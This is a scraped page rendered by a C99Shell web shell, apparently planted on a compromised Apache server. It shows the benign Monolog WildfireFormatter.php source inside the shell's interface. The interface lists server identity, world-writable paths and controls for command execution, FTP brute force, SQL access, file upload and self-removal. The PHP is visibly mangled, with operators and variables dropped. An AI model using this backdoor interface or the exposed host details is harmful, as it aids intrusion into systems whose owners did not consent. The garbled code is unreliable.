!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/monolog/monolog/src/Monolog/Formatter/   drwxrwxrwx
Free 13.11 GB of 57.97 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WildfireFormatter.php (3.64 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Formatter;

use 
Monolog\Logger;

/**
 * Serializes a log message according to Wildfire's header requirements
 *
 * @author Eric Clemmons (@ericclemmons) <eric@uxdriven.com>
 * @author Christophe Coevoet <stof@notk.org>
 * @author Kirill chEbba Chebunin <iam@chebba.org>
 */
class WildfireFormatter extends NormalizerFormatter
{
    
/**
     * Translates Monolog log levels to Wildfire levels.
     */
    
private $logLevels = [
        
Logger::DEBUG     => 'LOG',
        
Logger::INFO      => 'INFO',
        
Logger::NOTICE    => 'INFO',
        
Logger::WARNING   => 'WARN',
        
Logger::ERROR     => 'ERROR',
        
Logger::CRITICAL  => 'ERROR',
        
Logger::ALERT     => 'ERROR',
        
Logger::EMERGENCY => 'ERROR',
    ];

    
/**
     * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format
     */
    
public function __construct(?string $dateFormat null)
    {
        
parent::__construct($dateFormat);

        
// http headers do not like non-ISO-8559-1 characters
        
$this->removeJsonEncodeOption(JSON_UNESCAPED_UNICODE);
    }

    
/**
     * {@inheritdoc}
     */
    
public function format(array $record): string
    
{
        
// Retrieve the line and file if set and remove them from the formatted extra
        
$file $line '';
        if (isset(
$record['extra']['file'])) {
            
$file $record['extra']['file'];
            unset(
$record['extra']['file']);
        }
        if (isset(
$record['extra']['line'])) {
            
$line $record['extra']['line'];
            unset(
$record['extra']['line']);
        }

        
$record $this->normalize($record);
        
$message = ['message' => $record['message']];
        
$handleError false;
        if (
$record['context']) {
            
$message['context'] = $record['context'];
            
$handleError true;
        }
        if (
$record['extra']) {
            
$message['extra'] = $record['extra'];
            
$handleError true;
        }
        if (
count($message) === 1) {
            
$message reset($message);
        }

        if (isset(
$record['context']['table'])) {
            
$type  'TABLE';
            
$label $record['channel'] .': '$record['message'];
            
$message $record['context']['table'];
        } else {
            
$type  $this->logLevels[$record['level']];
            
$label $record['channel'];
        }

        
// Create JSON object describing the appearance of the message in the console
        
$json $this->toJson([
            [
                
'Type'  => $type,
                
'File'  => $file,
                
'Line'  => $line,
                
'Label' => $label,
            ],
            
$message,
        ], 
$handleError);

        
// The message itself is a serialization of the above JSON object + it's length
        
return sprintf(
            
'%d|%s|',
            
strlen($json),
            
$json
        
);
    }

    
/**
     * {@inheritdoc}
     */
    
public function formatBatch(array $records)
    {
        throw new 
\BadMethodCallException('Batch formatting does not make sense for the WildfireFormatter');
    }

    
/**
     * {@inheritdoc}
     * @return int|bool|string|null|array|object
     */
    
protected function normalize($dataint $depth 0)
    {
        if (
is_object($data) && !$data instanceof \DateTimeInterface) {
            return 
$data;
        }

        return 
parent::normalize($data$depth);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--